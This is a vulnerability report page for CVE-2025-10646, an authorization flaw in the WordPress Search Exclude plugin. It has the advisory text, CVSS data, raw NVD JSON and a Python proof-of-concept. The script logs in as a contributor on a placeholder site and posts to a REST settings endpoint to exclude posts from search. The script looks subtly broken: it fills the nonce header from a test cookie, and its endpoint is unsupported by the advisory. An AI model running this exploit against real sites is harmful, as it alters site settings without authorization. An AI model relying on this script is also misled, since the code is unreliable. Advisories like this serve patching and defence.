Security Vulnerability Report
中文
CVE-2025-10646 CVSS 4.3 MEDIUM

CVE-2025-10646

Published: 2025-11-25 04:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Search Exclude plugin for WordPress is vulnerable to unauthorized modification of data due to a insufficient capability check on the Base::get_rest_permission() method in all versions up to, and including, 2.5.7. This makes it possible for authenticated attackers, with Contributor-level access and above, to modify plugin settings, such as adding arbitrary posts to the search exclusion list.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Search Exclude插件 < 2.5.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10646 PoC - WordPress Search Exclude Plugin Privilege Escalation # Authentication required: Contributor-level access or higher import requests import json target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" post_id_to_exclude = 123 # Target post ID to exclude from search # Step 1: Authenticate and get WordPress nonces/cookies session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Exploit the vulnerability via REST API # The plugin's Base::get_rest_permission() method lacks proper capability check exploit_url = f"{target_url}/wp-json/search-exclude/v1/settings" # Prepare payload to add post to search exclusion list exploit_payload = { "search_exclude": [str(post_id_to_exclude)], "search_exclude_search": "1" } # Send the exploit request headers = { "Content-Type": "application/json", "X-WP-Nonce": session.cookies.get_dict().get('wordpress_test_cookie', '') } response = session.post(exploit_url, json=exploit_payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully excluded post ID {post_id_to_exclude} from search") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed with status code: {response.status_code}") print(f"[-] Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10646", "sourceIdentifier": "[email protected]", "published": "2025-11-25T04:15:45.370", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Search Exclude plugin for WordPress is vulnerable to unauthorized modification of data due to a insufficient capability check on the Base::get_rest_permission() method in all versions up to, and including, 2.5.7. This makes it possible for authenticated attackers, with Contributor-level access and above, to modify plugin settings, such as adding arbitrary posts to the search exclusion list."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3379004/search-exclude", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b0f62d05-84fb-4cd6-9e5f-0dcfa305ce68?source=cve", "source": "[email protected]"}]}}